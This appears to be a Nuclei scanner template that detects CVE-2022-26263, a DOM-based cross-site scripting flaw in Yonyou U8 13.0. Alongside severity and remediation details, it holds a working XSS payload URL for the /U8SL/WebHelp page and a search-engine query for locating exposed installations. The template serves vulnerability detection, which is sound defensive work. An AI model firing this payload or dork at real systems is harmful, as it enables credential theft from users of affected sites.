id: CVE-2022-26263

info:
  name: Yonyou U8 13.0 - Cross-Site Scripting
  author: edoardottt,theamanrawat
  severity: medium
  description: |
    Yonyou U8 13.0 contains a DOM-based cross-site scripting vulnerability via the component /u8sl/WebHelp. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in the Yonyou U8 13.0 application.
  reference:
    - https://github.com/s7safe/CVE/blob/main/CVE-2022-26263.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-26263
    - http://yonyou.com
    - https://www.yonyou.com/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-26263
    cwe-id: CWE-79
    epss-score: 0.00147
    epss-percentile: 0.50522
    cpe: cpe:2.3:a:yonyou:u8\+:13.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: yonyou
    product: u8\+
    google-query: inurl:/u8sl/WebHelp
  tags: cve,cve2022,yonyou,xss
headless:
  - steps:
      - args:
          url: '{{BaseURL}}/U8SL/WebHelp/PB_Por_zh-CN.htm?wvstest=javascript:domxssExecutionSink(1,"%27"><xsstag>()locxss")#javascript:console.log(document.domain)'
        action: navigate

      - action: waitload
    matchers:
      - type: word
        words:
          - '<frame src="javascript:console.log(document.domain)"'
          - 'webhelp4.js'
        condition: and

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